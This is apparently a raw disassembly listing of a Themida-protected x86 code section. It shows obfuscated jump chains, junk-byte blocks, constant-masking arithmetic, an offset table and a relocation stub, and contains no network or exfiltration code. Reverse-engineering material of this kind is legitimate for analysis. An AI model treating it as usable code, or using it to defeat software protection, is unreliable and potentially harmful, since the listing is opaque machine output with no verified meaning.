Themida_:0058B909j ... push dword ptr [edi+24h] sub dword ptr [esp], 33343C5Eh jmp loc_589B2B ; --------------------------------------------------------------------------- dw 0C9FEh dd 0FE9EE980h, 2EC81C9h, 0E9000000h, 0FFFFD46Ah, 77E9C388h db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58FEFB: ; CODE XREF: Themida_:0058DE5Dj pop esi jmp loc_58E01F ; --------------------------------------------------------------------------- loc_58FF01: ; CODE XREF: Themida_:0058D251j jmp loc_584473 ; --------------------------------------------------------------------------- dw 0C281h dd 148D0A64h, 0FF5FB5E9h db 0FFh ; --------------------------------------------------------------------------- loc_58FF11: ; CODE XREF: Themida_:00586FADj add edi, 8688CCE8h add eax, edi pop edi jmp loc_589BDA ; --------------------------------------------------------------------------- loc_58FF1F: ; CODE XREF: Themida_:00585B4Aj xor [esp], eax xor eax, [esp] pop esp mov [esp], edx not dword ptr [esp] pop edx xchg edx, ebx push eax push ebx mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_58C867 ; --------------------------------------------------------------------------- align 2 dw 8BC8h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ecx push 4 pop ecx jmp loc_58DA16 ; --------------------------------------------------------------------------- db 53h dd 6A67BD55h, 454D7357h, 1BE95145h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58FF73: ; CODE XREF: Themida_:005872F9j push ebx push ecx mov ecx, 32486D85h jmp loc_58DB29 ; --------------------------------------------------------------------------- db 81h dd 4EFh, 243C8700h, 8924248Bh, 21B9240Ch, 0E9664A34h, 0FFFFBE86h dd 81E18951h, 4ECh, 242C8900h, 556BA52h, 0EAC1471Fh, 0F2814206h dd 2D4F75E9h, 68h, 242C8100h, 59D8494Eh, 81241429h, 494E2404h dd 0D0E959D8h, 0B8FFFF4Ch, 2EC03566h, 0FF8E08E9h db 0FFh ; --------------------------------------------------------------------------- loc_58FFD9: ; CODE XREF: Themida_:0058A239j sub eax, 55A50A9Bh shr eax, 3 push esi jmp loc_58DA8B ; --------------------------------------------------------------------------- loc_58FFE7: ; CODE XREF: Themida_:0058F8BCj add ebx, eax mov eax, [esp] sub esp, 4 mov [esp], eax jmp loc_585833 ; --------------------------------------------------------------------------- loc_58FFF7: ; CODE XREF: Themida_:0058B39Aj mov ecx, [esp] add esp, 4 push 43460CE2h push dword ptr [esp] jmp loc_58ACCD ; --------------------------------------------------------------------------- db 59h, 5Bh, 29h dd 9349E9F8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_590016: ; CODE XREF: Themida_:0058D1A2j mov ebp, [esp] jmp loc_587210 ; --------------------------------------------------------------------------- dw 5451h dd 4EC8159h, 89000000h, 0B868241Ch, 89000079h, 4BA2414h dd 89000000h, 24148BD3h, 4C481h, 5BE90000h, 31FFFF55h dd 34332434h, 3CD25C24h, 1CE99C24h, 81FFFF44h, 2EAh, 24148700h dd 6624248Bh, 66241489h, 4E99C50h db 44h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59006F: ; CODE XREF: Themida_:0058936Aj ; Themida_:005903F1j sub esp, 4 mov [esp], ebx add dword ptr [esp], 15680B99h mov eax, [esp] push 3D31h mov [esp], eax mov eax, esp jmp loc_5859E0 ; --------------------------------------------------------------------------- loc_59008E: ; CODE XREF: Themida_:0058FBCAj mov esp, [esp] or eax, eax jnz loc_58FED3 push 363Bh jmp loc_58B392 ; --------------------------------------------------------------------------- byte_5900A3 db 0FFh ; DATA XREF: Themida_:005841E8o dd 0C8E94077h, 31FFFF43h, 0E6FCE9C2h, 0EC81FFFFh, 4, 89243489h dd 0EC8151E6h, 4, 0FFF449E9h db 0FFh ; --------------------------------------------------------------------------- loc_5900C9: ; CODE XREF: Themida_:005862CFj add eax, 22C21DAAh and eax, 78036477h xor eax, 516F4652h add ecx, eax pop eax xchg eax, ecx jmp loc_58A943 ; --------------------------------------------------------------------------- loc_5900E1: ; CODE XREF: Themida_:0058A10Bj add edx, edi pop edi xchg edx, [esp] pop esp jmp loc_58EB11 ; --------------------------------------------------------------------------- byte_5900ED db 66h, 8Bh, 4 ; DATA XREF: Themida_:0058424Co dd 0FF28E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5900F6: ; CODE XREF: Themida_:0058F980j mov esi, [esp] add esp, 4 jmp loc_58D700 ; --------------------------------------------------------------------------- db 50h, 0B4h, 8Ch dd 0FFC873E9h, 59CD89FFh, 112CC181h, 0E901284Ch, 0FF9607E9h dd 5BDA88FFh, 1875488h, 0FF74F5E9h, 2BE954FFh db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59012B: ; CODE XREF: Themida_:00585DB0j and ecx, ebp pop ebp shr ecx, 7 push ebx jmp loc_5894E4 ; --------------------------------------------------------------------------- db 59h dd 7C8CEB81h, 87E90FDAh, 83FFFFBBh, 9FE904C4h db 0B9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59014B: ; CODE XREF: Themida_:00589F0Fj push esp pop ebx push esi mov esi, 4 add ebx, esi pop esi push eax jmp loc_58F8B7 ; --------------------------------------------------------------------------- dd 0A669E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_590162: ; CODE XREF: Themida_:005895BBj mov ecx, [esp] add esp, 4 jmp loc_585695 ; --------------------------------------------------------------------------- loc_590170: ; CODE XREF: Themida_:00587408j push ebx push 5C1h mov [esp], esi mov esi, 7F425145h xor esi, 66B1739Ah xor esi, 19F302DFh push esi push ebx mov ebx, 1E6612BEh add dword ptr [esp+4], 6E022F60h sub [esp+4], ebx sub dword ptr [esp+4], 6E022F60h pop ebx pop ebx add ebx, 1E6612BEh pop esi jmp loc_586F99 ; --------------------------------------------------------------------------- loc_5901B3: ; CODE XREF: Themida_:0058D513j neg ebp push esi mov esi, 55283F97h jmp loc_58B1BE ; --------------------------------------------------------------------------- dd 5004C483h, 8853DC88h, 5BD988E3h, 8124048Bh, 4C4h, 0CE885B00h dd 0E9AC0459h, 0FFFFEF8Ch ; --------------------------------------------------------------------------- loc_5901E0: ; CODE XREF: Themida_:0058DF9Ej add esi, 36AF5CB9h pop ebx jmp loc_589EF5 ; --------------------------------------------------------------------------- dd 0C781EF29h, 6ED86CEAh, 243C875Dh, 0FF4B66E9h, 4EC81FFh dd 89000000h, 0E0892404h, 5999BE56h, 504E0639h, 77472DB8h dd 8E8C104h, 0F705E8C1h, 37B90DD0h, 0CE053C6Bh, 2D59C337h dd 5FFC915Fh, 158C601h, 81565EF0h, 4ECh, 243C8900h, 0FFEA1DE9h db 0FFh byte_590241 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0058429Co dd 0FF4F07E9h, 268FFh, 1590000h, 2434FFCEh, 57240C8Bh dd 0B850E789h, 62A5602Fh, 0FFDA57E9h, 0E28852FFh, 34E9D588h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59026F: ; CODE XREF: Themida_:00586F5Aj mov bl, 4Dh neg bl jmp loc_58B132 ; --------------------------------------------------------------------------- dd 55240489h, 0DD18BABDh, 24448126h, 0F67C8504h, 246C8125h dd 5637D004h, 0CDBE563Eh, 81200A62h, 8908246Ch, 81296B23h dd 59082444h, 290D587Eh, 0E9082474h, 48Ah, 43C7E957h, 8F5EFFFFh dd 835C2404h, 9E904ECh, 54FFFF90h, 7CE9515Ah, 8FFFFFF3h dd 0B8502404h, 4, 0FF644FE9h, 24048BFFh, 0FF7D41E9h db 0FFh ; --------------------------------------------------------------------------- loc_5902E1: ; CODE XREF: Themida_:0058B78Dj pop edx sub al, 62h add al, 0C5h add al, bl sub al, 0C5h add al, 62h pop ebx push ecx push ebx mov bl, 60h mov cl, 3Ch xor cl, bl jmp loc_58F0DB ; --------------------------------------------------------------------------- dw 0C483h dd 241C8B04h, 0E904C483h, 0FFFFF525h ; --------------------------------------------------------------------------- loc_590308: ; CODE XREF: Themida_:00589CF2j shr ecx, 7 sub ecx, 35BC4561h xor ecx, 0CA920F67h jmp loc_586D2F ; --------------------------------------------------------------------------- dd 8B240C33h, 0E9F72424h, 4EC81h, 88E90000h, 8BFFFF57h dd 0D3662424h, 0E99C240Ch, 0FFFF4137h dword_59033C dd 240C8B66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 34E5h mov [esp], esi mov esi, 4D533BEAh add esi, 375C41CAh and esi, 8EC22ABh xor esi, 3FBF17CDh push ebp mov ebp, 7BAE1046h not ebp dec ebp not ebp sub ebp, 0BAC147B0h jmp loc_586D8E ; --------------------------------------------------------------------------- dd 0DAEB8058h, 1C8BD828h, 4C48324h, 0B4505266h, 0A9DBE946h dd 0F801FFFFh, 83243C8Bh, 0E5E904C4h, 8BFFFFD5h, 0C4832434h dd 242C3304h, 0E9242C31h, 0FFFFDF15h, 0FF40C2E9h, 5BDD01FFh dd 0ED81F501h, 1FB0127h, 242C875Eh, 0FFE11BE9h db 0FFh byte_5903C5 db 0ACh, 0E9h, 7Ch ; DATA XREF: Themida_:005843A4o db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5903CB: ; CODE XREF: Themida_:00586282j sub ebp, 6500085Fh jmp loc_58E000 ; --------------------------------------------------------------------------- dw 0E089h dd 0FFE49EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5903DD: ; CODE XREF: Themida_:00587089j pop esp sub esp, 4 mov [esp], edx mov edx, ebx mov edi, edx jmp loc_586017 ; --------------------------------------------------------------------------- loc_5903ED: ; CODE XREF: Themida_:0059069Bj add [edi+24h], ecx pop ecx jmp loc_59006F ; --------------------------------------------------------------------------- dw 0E955h dd 0FFFFF589h, 0BAh, 52B85000h, 56156F53h, 112DC8BEh, 33C6811Fh dd 10FDAE9h, 0C2295EF2h, 16FBEA81h, 1582EECh, 52BD55DAh dd 0E9156F53h, 0FFFF756Ah ; --------------------------------------------------------------------------- loc_59042C: ; CODE XREF: Themida_:005888A1j push dword ptr [esp] push dword ptr [esp] pop ebp jmp loc_589D2C ; --------------------------------------------------------------------------- dd 8006EAC0h, 0C280A2E2h, 80C2FE1Bh, 0E2302EEAh, 0F6DAF658h dd 0F13AE9D2h, 8159FFFFh, 0E74D64F5h, 0D45CE93Dh, 0D7F7FFFFh dd 6DE5CF81h, 0D7F7481Eh, 0A8BDC781h, 0FA292761h, 0D49BE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_590476: ; CODE XREF: Themida_:0058E63Cj sub eax, 1775470h inc eax sub eax, 0DAF0038Dh add ebp, eax pop eax mov ebx, [esp] jmp loc_5856BD ; --------------------------------------------------------------------------- dd 4C481h, 0DF290000h, 0FFAAFFE9h, 1376BAFFh, 0D731520Bh dd 72F7815Ah, 1128345h, 0DEC1E9FAh, 295EFFFFh, 8104246Ch dd 0CD042444h, 81200A62h, 0D0042444h, 833E5637h, 3C8904ECh dd 85BD5524h, 8925F67Ch, 6A89E9EFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5904D6: ; CODE XREF: Themida_:00589D7Cj mov ch, 35h inc ch push small 25FBh mov [esp], bx push edx mov dl, 2Eh xor dl, 7Ah xor dl, 87h mov bh, dl jmp loc_587A1C ; --------------------------------------------------------------------------- word_5904F2 dw 0E9ACh ; DATA XREF: Themida_:005842E0o dd 0FFFFF753h ; --------------------------------------------------------------------------- loc_5904F8: ; CODE XREF: Themida_:0058D723j shr ecx, 4 xor ecx, 15CFC07h push ecx pop ebx jmp loc_58B962 ; --------------------------------------------------------------------------- loc_590508: ; CODE XREF: Themida_:0058FC40j push edi mov edi, esp add edi, 4 add edi, 4 push edi push dword ptr [esp+4] jmp loc_58868E ; --------------------------------------------------------------------------- loc_59051E: ; CODE XREF: Themida_:0058FD83j add ecx, ebp pop ebp xor ecx, 637F3AE3h shr ecx, 4 shl ecx, 3 sub ecx, 0E0805A4Fh jmp loc_5895B8 ; --------------------------------------------------------------------------- aRhqx db 'RhQX',0 align 2 dw 1C89h db '$»Å~x',0 db 'ºÇ~x',0 db 0E9h dd 0FFFF8295h ; --------------------------------------------------------------------------- loc_590550: ; CODE XREF: Themida_:00585185j sub ebx, ebp pop ebp add ebx, 1F44934h jmp loc_588EC8 ; --------------------------------------------------------------------------- loc_59055E: ; CODE XREF: Themida_:0058EE0Cj push 59D5486Fh pop esi xor esi, edi xor edi, esi jmp loc_5882D9 ; --------------------------------------------------------------------------- db 29h, 0F8h, 5Fh dd 6623182Dh, 150A0565h, 55E903A8h, 28FFFF9Eh, 0C8B59E8h dd 4C48124h, 51000000h, 0B45085B5h, 0B4EC8087h, 8007ECC0h dd 0C4806BE4h, 45F48001h, 0E9EDED80h, 0FFFFC231h ; --------------------------------------------------------------------------- loc_5905A8: ; CODE XREF: Themida_:00587CD1j mov dx, [esp] push ebx push 6F1Bh mov [esp], esp jmp loc_584A4F ; --------------------------------------------------------------------------- dw 0EE81h dd 3BC9129Bh, 68DDC681h, 0C68165A7h, 6D812CDh, 0D2BEF681h dd 0F50189F2h, 638EE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5905DA: ; CODE XREF: Themida_:0058A700j push dword ptr [esp] jmp loc_58BA76 ; --------------------------------------------------------------------------- dw 0E3D0h dd 0E9B7EB80h, 0FFFFCFB6h, 6989EA81h, 0F2295C3Dh, 6989C281h dd 0E95E5C3Dh, 0FFFFB4DFh ; --------------------------------------------------------------------------- loc_590600: ; CODE XREF: Themida_:0058D3C7j push edx mov edx, 4 sub ebp, 6C2961DCh add ebp, edx jmp loc_587B3F ; --------------------------------------------------------------------------- loc_590613: ; CODE XREF: Themida_:0058C3F4j mov [esp], eax push esi mov esi, 7D0D462Ah push ebx mov ebx, esi mov eax, ebx jmp loc_588F5B ; --------------------------------------------------------------------------- dw 2B9h dd 1000000h, 69A0E9CBh, 15BFFFFh, 2434FFEFh, 0FFB8ABE9h db 0FFh ; --------------------------------------------------------------------------- loc_59063D: ; CODE XREF: Themida_:00584477j mov [esp], bx push ecx mov cl, 0AFh mov bh, 50h sub bh, 9Bh push ecx jmp loc_58C876 ; --------------------------------------------------------------------------- loc_59064F: ; CODE XREF: Themida_:0058F3DDj mov ebx, 4 push ecx mov ecx, 459A11ACh sub edi, 34911912h sub edi, ecx add edi, 34911912h pop ecx add edi, 15DC1E6Dh add edi, ebx sub edi, 15DC1E6Dh add edi, 459A11ACh pop ebx push ebx mov ebx, 4 sub edi, ebx pop ebx xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov [esp], ecx mov ecx, 1 jmp loc_5903ED ; --------------------------------------------------------------------------- dd 165F68h, 241C8900h, 0C9583DBBh, 23C38162h, 51517169h dd 0F579E8B9h, 0C383E911h, 0DFF6FFFFh, 0C062E780h, 0D7F604E7h dd 0F780CFFEh, 5BF8003Eh, 0FFC4B4E9h db 0FFh byte_5906D5 db 8Bh, 0Ch, 24h ; DATA XREF: Themida_:005843ACo dd 0FF97B5E9h, 0E9592CFFh, 0FFFF7C4Ah, 5778E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5906EA: ; CODE XREF: Themida_:00587B46j push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp shr ecx, 7 push dword ptr [edi+1Ch] mov eax, [esp] push 34F5h mov [esp], ebx push esp pop ebx push esi jmp loc_58CB55 ; --------------------------------------------------------------------------- db 0BFh, 2Ah, 6Eh dd 0F8E9562Dh db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_590717: ; CODE XREF: Themida_:0058CAB9j mov esi, 468E6702h shl esi, 2 add esi, 1DDE64A2h jmp loc_58A841 ; --------------------------------------------------------------------------- dw 0C8FEh dd 604D0F6h, 88C78853h, 9E35E9FEh, 6C81FFFFh, 7E590824h dd 44810D58h, 23890824h, 5FE9296Bh, 8BFFFFFDh, 0C481240Ch dd 4, 5081E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59075E: ; CODE XREF: Themida_:0058A14Aj sub esp, 4 mov [esp], ebx mov ebx, 4 push esi mov esi, 4DAB04B0h jmp loc_58447C ; --------------------------------------------------------------------------- dd offset byte_5E96EF dd 0E237DCAAh, 12FF4Ch, 0FA44C2CAh, 5EF65Ah, 5EA23Fh, 7C90EB94h dd 207h, 2, 1, 2, 0FA44C2CAh, 5 dup(0) dd offset byte_597169 dd offset word_59510E dd offset word_5A1D2A dd offset word_5A5256 dd offset dword_5A1A90 dd offset byte_594D95 dd offset byte_597B37 dd offset word_5996B6 dd offset byte_5919CF dd offset word_59869E dd offset dword_5A5960 dd offset off_594CD9 dd offset byte_5A3A6B dd offset dword_5A27CC dd offset word_59DA4A dd offset dword_59C4A4 dd offset byte_59F8C9 dd offset byte_59ABFD dd offset byte_5A4FCB dd offset byte_59E6FD dd offset word_5A3442 dd offset byte_596CEB dd offset byte_5A0789 dd offset byte_595397 dd offset byte_595DF5 dd offset dword_59C6AC dd offset aMhs5 ; "¬hs5" dd offset off_594494 dd offset byte_59AF11 dd offset aNh@ ; "hê@" dd offset word_5A469A dd offset word_59199A dd offset byte_5A33DF dd offset dword_59B168 dd offset byte_5955B9 dd offset dword_598A9C dd offset word_59F0F2 dd offset dword_598D48 dd offset byte_59759F dd offset aM0QpsA ; "¬0ØQPé(€" dd offset byte_592C5B dd offset byte_59A99D dd offset byte_59F81F dd offset word_59B6DE dd offset aRss ; "Ré‘Ë" dd offset byte_59B633 dd offset byte_59B00B dd offset byte_59EC8D dd offset byte_59572F dd offset dword_596E64 dd offset word_5A3356 dd offset byte_596C4F dd offset dword_5A0DC4 dd offset byte_5A0B23 dd offset byte_59B841 dd offset byte_59635B dd offset byte_59441D dd offset dword_59F7C4 dd offset dword_59D1DC dd offset byte_595883 dd offset byte_593B31 dd offset dword_59AD54 dd offset byte_5A296B dd offset dword_5A0AF8 dd offset dword_59FD04 dd offset byte_592E97 dd offset byte_593535 dd offset word_5A0222 dd offset dword_592FF8 dd offset byte_594BD5 dd offset word_5979FE dd offset word_59BA86 dd offset dword_59C7A4 dd offset word_591846 dd offset dword_593AB4 dd offset byte_5A094D dd offset word_5A188E dd offset dword_59B67C dd offset byte_59138F dd offset byte_59C1F9 dd offset dword_599150 dd offset byte_59B773 dd offset byte_59D7B1 dd offset byte_5A3CC3 dd offset dword_593AC8 dd offset byte_59DBFD dd offset word_593C06 dd offset dword_59EDDC dd offset byte_59D35B dd offset byte_59E0F5 dd offset word_5A1812 dd offset dword_5A174C dd offset aMs ; "¬é>š" dd offset byte_594B3B dd offset dword_59CACC dd offset dword_591E60 dd offset byte_5A288F dd offset word_594612 dd offset aN1HK ; "1Øh!K" dd offset byte_59E34F dd offset dword_599D5C dd offset dword_599CDC dd offset dword_5A4A9C dd offset byte_59F4C3 dd offset word_596282 dd offset byte_59FF03 dd offset dword_5A082C dd offset byte_5A492F dd offset dword_598D74 dd offset byte_5992C7 dd offset aFlSq ; "f‹$$éQ!" dd offset dword_5A1A98 dd offset byte_59C9E9 dd offset byte_590BAB dd offset word_5A366A dd offset byte_593E7F dd offset byte_59F9F3 dd offset aNhV ; "hÉv" dd offset word_5A47A2 dd offset dword_594534 dd offset word_5A28F6 dd offset word_59BF22 dd offset byte_59A1A3 dd offset byte_5A2D8D dd offset aNwU6S ; "W¿u6Ü|é,*" dd offset byte_595DDF dd offset aNrhgy ; "RhƒY" dd offset byte_5A17BF dd offset word_5939CE dd offset word_593C52 dd offset byte_59E893 dd offset word_59AE0E dd offset byte_5A354B dd offset dword_5997E4 dd offset byte_596995 dd offset dword_5A50CC dd offset byte_5A547B dd offset byte_5A1869 dd offset byte_592721 dd offset word_5A1EA2 dd offset byte_596297 dd offset word_59822A dd offset dword_5A4CF8 dd offset byte_59E9F9 dd offset word_5A3F6E dd offset dword_59E918 dd offset dword_592E1C dd offset byte_5964B7 dd offset byte_59771B dd offset dword_59F2FC dd offset word_59B10A dd offset word_5A3536 dd offset byte_5A2801 dd offset dword_5969DC dd offset word_5A5596 dd offset byte_5A58F3 dd offset byte_59B2AF dd offset word_5A0356 dd offset word_59E716 dd offset word_59338E dd offset dword_5A1A6C dd offset byte_5A085D dd offset byte_59DADF dd offset byte_59C623 dd offset word_598762 dd offset word_5A113A dd offset byte_59B817 ; --------------------------------------------------------------------------- loc_590A54: ; CODE XREF: Themida_:005DD86Fj ; Themida_:005EA1C9j pusha pushf cld call $+5 pop edi sub edi, 6144792h mov eax, edi add edi, 61444AAh cmp eax, [edi+2Ch] jnz short loc_590A72 jmp short loc_590A85 ; --------------------------------------------------------------------------- loc_590A72: ; CODE XREF: Themida_:00590A6Ej mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_590A81 ; --------------------------------------------------------------------------- loc_590A7C: ; CODE XREF: Themida_:00590A83j add [edi+ecx*4+40h], eax dec ecx loc_590A81: ; CODE XREF: Themida_:00590A7Aj or ecx, ecx jnz short loc_590A7C loc_590A85: ; CODE XREF: Themida_:00590A70j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_590A92: ; CODE XREF: Themida_:00590A99j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_590A92 loc_590A9B: ; CODE XREF: Themida_:005920D0j ; Themida_:loc_5925E9j ... lodsb sub esp, 4 jmp loc_5A0A0A ; --------------------------------------------------------------------------- dd 424548Ah, 4244488h, 0CD25E9h, 1EE8300h, 75D9B951h, 0E9C16410h dd 5E1C105h, 0F79FE9h, 74FF5500h, 8F5D0424h, 0E95C2404h dd 0CA21h ; --------------------------------------------------------------------------- loc_590AD4: ; CODE XREF: Themida_:00594977j shr edx, 3 sub edx, 4318239Bh shl edx, 3 jmp loc_591F0D ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 52000000h, 0F52825B6h, 0C0EDD05Ah, 0ED8005E5h, 0D42C83h dd 8BD404E8h, 8957240Ch, 4BB53E7h, 81000000h, 5619DEC7h dd 0E9DF011Fh, 0C437h ; --------------------------------------------------------------------------- loc_590B18: ; CODE XREF: Themida_:0059AA65j pop ebp add ebp, 4 push ecx jmp loc_59D6D8 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 4C481h, 0EF050000h, 53B4627h, 7F304BE5h, 0D3FCE9h, 0D3885900h dd 12BA0E9h, 2434FF00h, 4C4815Ah, 81000000h, 4C5h, 6F036800h dd 44E90000h db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_590B5F: ; CODE XREF: Themida_:005918DAj pop edx sub dword ptr [esp+4], 6CB2331Bh sub [esp+4], eax jmp loc_59B325 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C48358h, 38D46852h, 24890000h, 24048124h, 4, 11C11E9h dd 8CE95300h, 5C000109h, 0E92434FFh, 6104h aNrhgy db 'RhƒY',0 ; DATA XREF: Themida_:005909B0o dw 8900h aSs db '<$é‘Ý',0 db 0 byte_590BAB db 66h ; DATA XREF: Themida_:0059097Co dd 5524048Bh, 0E240E9h, 1EB8100h, 1B0CBFDh, 0B9515BDAh dd 4, 8759CA01h, 0F3E92414h, 8B0000FBh, 0C481240Ch, 4 dd 9FE9D901h db 0F2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_590BDF: ; CODE XREF: Themida_:005983B9j push ebx push esi jmp loc_594463 ; --------------------------------------------------------------------------- loc_590BE6: ; CODE XREF: Themida_:0059593Cj mov ebp, esi pop esi add ebx, 37D7C4Eh push ebp mov ebp, 765D5DF9h add ebx, ebp pop ebp add ebx, ebp sub ebx, 765D5DF9h jmp loc_59254C ; --------------------------------------------------------------------------- dd offset loc_436266+2 align 2 dw 0A6E9h dd 660000D1h, 0E9240489h, 0FFFFFE83h, 0E180C9FEh, 7DE98022h dd 53C1B652h, 0C7FEA6B7h, 800EF780h, 0FE209EEFh, 0E953505Bh dd 80AFh ; --------------------------------------------------------------------------- loc_590C38: ; CODE XREF: Themida_:00591C74j mov [esp], edi mov edi, 0BF484Fh dec edi not edi inc edi or edi, 1E56206Fh jmp loc_5A23FB ; --------------------------------------------------------------------------- db 4 aHnj db 'Æ(ØhnJ',0 align 4 dd offset byte_5A19E9 dd 5DEB2900h, 0E9241C87h, 4504h, 0E9EB895Eh, 236Ah, 912BDD05h dd 53595A33h, 506FE9h, 0F5814500h, 0AD93C1EDh, 9612E9h db 0 ; --------------------------------------------------------------------------- loc_590C89: ; CODE XREF: Themida_:005A572Cj sub [esp+4], ebx sub dword ptr [esp+4], 1AF641FCh add dword ptr [esp+4], 4C5C30B6h push eax jmp loc_59B825 ; --------------------------------------------------------------------------- loc_590CA3: ; CODE XREF: Themida_:00594DF1j mov [esp], ebp push esp mov ebp, [esp] add esp, 4 add ebp, 4 add ebp, 4 jmp loc_59AF1A ; --------------------------------------------------------------------------- db 0Dh dd 53AE348Ch, 1697BE56h, 0F7466F80h, 1ECE81D6h, 812C9E7Bh dd 0FE7319EEh, 7F1D2D30h, 0F00173DBh, 0DB7F1D05h, 0C7015E73h dd 582434FFh, 0A1B4E9h db 0 ; --------------------------------------------------------------------------- loc_590CED: ; CODE XREF: Themida_:005A3E4Cj pop ebp add ebx, eax pop eax add ebx, edi push 4135h mov [esp], edi mov edi, 4DFB4F95h add edi, 0E5A4C9FAh push ebp mov ebp, 21232BD0h push ebx jmp loc_59B274 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 2359BF57h, 0EFE94B59h, 8B000138h, 0C4832404h, 4E98104h dd 87000000h, 61E9240Ch db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_590D37: ; CODE XREF: Themida_:0059F9EEj mov al, ch pop ecx jmp loc_592F55 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 58F76800h, 1C890000h, 28E8B324h, 52665BD8h, 0F0008EB6h dd 24148B66h, 0D0BE9h, 0E9D5F700h, 0BDE2h ; --------------------------------------------------------------------------- loc_590D68: ; CODE XREF: Themida_:00596207j pop ebx sub ebx, edx pop edx add edi, ebx jmp loc_59F6D8 ; --------------------------------------------------------------------------- db 5Eh dd 0B951D829h, 451A4B94h, 2A49F181h, 0C1811943h, 69A1631Ch dd 4C3CC181h, 0C801A58Fh, 54515B59h, 9AE95059h db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_590D9B: ; CODE XREF: Themida_:0059D9F1j xchg ebp, [esp] jmp loc_59D9DE ; --------------------------------------------------------------------------- db 81h dd 1D0516E6h, 99C6814Ch, 817EC422h, 40D82FEEh, 5EF12957h dd 0E950D1F7h, 14505h, 0C781E789h, 4, 121E3E9h, 24348900h dd 140D68h, 243C8900h, 5CA968h, 24148900h, 0D533AE68h dd 0EA815A3Dh, 3B722F91h, 0E95AD789h, 0A62Eh, 7A3E957h db 1, 0 ; --------------------------------------------------------------------------- loc_590DFA: ; CODE XREF: Themida_:00599D75j mov ebp, 4662163Ah jmp loc_599A0D ; --------------------------------------------------------------------------- dd 6091E681h, 0E0E93513h, 870000D2h, 1EE953D6h, 83000008h dd 2EE904ECh db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_590E1F: ; CODE XREF: Themida_:005A0CA4j sub dword ptr [esp+4], 7E772834h add [esp+4], ebx add dword ptr [esp+4], 7E772834h sub dword ptr [esp+4], 39880D71h push dword ptr [esp] jmp loc_5955C7 ; --------------------------------------------------------------------------- loc_590E43: ; CODE XREF: Themida_:005949BDj add ecx, 4 push edx mov edx, 5B26585Ah push ecx mov ecx, 4E48364Dh jmp loc_5972DD ; --------------------------------------------------------------------------- dw 0FC88h dd 88F1885Bh, 0FE5866E6h, 0C9B8E9C1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_590E6A: ; CODE XREF: Themida_:0059C24Bj and esi, 0C6F46BAh jmp loc_5A0180 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240483h, 5ACCE9h db 0 ; --------------------------------------------------------------------------- loc_590E81: ; CODE XREF: Themida_:005A112Dj mov [esp], eax push 4C570F34h pop eax sub eax, 2D823EBDh push 6988h mov [esp], eax jmp loc_5A014A ; --------------------------------------------------------------------------- loc_590E9C: ; CODE XREF: Themida_:0059F180j sub ah, 0CAh or ch, ah jmp loc_592CCA ; --------------------------------------------------------------------------- dw 48Fh dd 24248B24h, 4AB0F66h, 0E4E99C24h, 8BFFFFFBh, 0C483242Ch dd 860FE904h, 0CE010000h, 5319EE81h, 0E9595AA8h, 11CCBh dd 55240C89h, 0F22DF3BDh, 0F7F58154h, 8954F22Dh, 242C8BE9h dd 104C483h, 5904244Ch, 8124048Fh, 42404h, 48F0000h, 0FCE95224h db 2Fh, 1, 0 ; --------------------------------------------------------------------------- loc_590EFF: ; CODE XREF: Themida_:00591FA5j add bh, 0E3h sub dh, 0E1h sub dh, bh add dh, 0E1h mov ebx, [esp] jmp loc_59F8A0 ; --------------------------------------------------------------------------- loc_590F12: ; CODE XREF: Themida_:00598354j mov eax, ebx mov ebx, [esp] jmp loc_598D3B ; --------------------------------------------------------------------------- dd 84EB8143h, 291A9338h, 0D9F75BD9h, 13D8F181h, 8151BB1Ah dd 3472404h, 815A47ABh, 0AB0347EAh, 0D1015947h, 240C335Ah dd 67A1E9h, 24048900h, 4B8h, 0CEE98100h, 81496A01h, 3A0483E9h dd 50C1016Ch, 10A2FE9h, 72E0500h, 0D0F75596h, 0BEA52105h dd 9B85E913h, 3C8B0000h, 4C48324h, 8B24048Fh, 14892424h dd 2E0BBA24h, 0B4E9554Dh, 66000062h, 8324348Bh, 0C8904ECh dd 81E18924h, 4C1h, 7DBD5500h, 5613971Ah, 8E60B8BEh, 0B659E97Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_590FB2: ; CODE XREF: Themida_:0059BD38j push dword ptr [esp] pop ecx push edi mov edi, esp jmp loc_5A01C7 ; 